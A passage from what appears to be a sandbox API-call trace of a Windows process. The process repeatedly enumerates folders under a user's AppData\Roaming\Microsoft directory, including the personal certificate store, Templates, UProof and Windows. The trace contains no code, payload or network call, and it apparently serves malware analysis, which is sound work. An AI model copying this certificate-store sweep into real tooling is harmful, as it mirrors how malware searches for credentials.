lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.470] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.470] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.470] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.471] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.471] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.471] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.471] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.471] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.471] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.471] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.471] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.472] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.472] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.472] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.472] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.472] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.473] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.473] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.473] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.473] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.473] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.473] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.474] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.474] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.474] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.474] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.474] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.475] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.475] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.475] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.475] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.475] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.475] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.475] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.476] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.476] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.476] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.476] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.476] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\templates"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b2f74d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xca5acd80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xca5acd80, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.477] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.477] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.477] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.478] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.478] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\uproof"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f6100f0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3f636250, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3f636250, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.478] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.478] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.478] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.480] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.480] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.480] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.480] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.480] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x33 [0068.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x33 [0068.481] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, 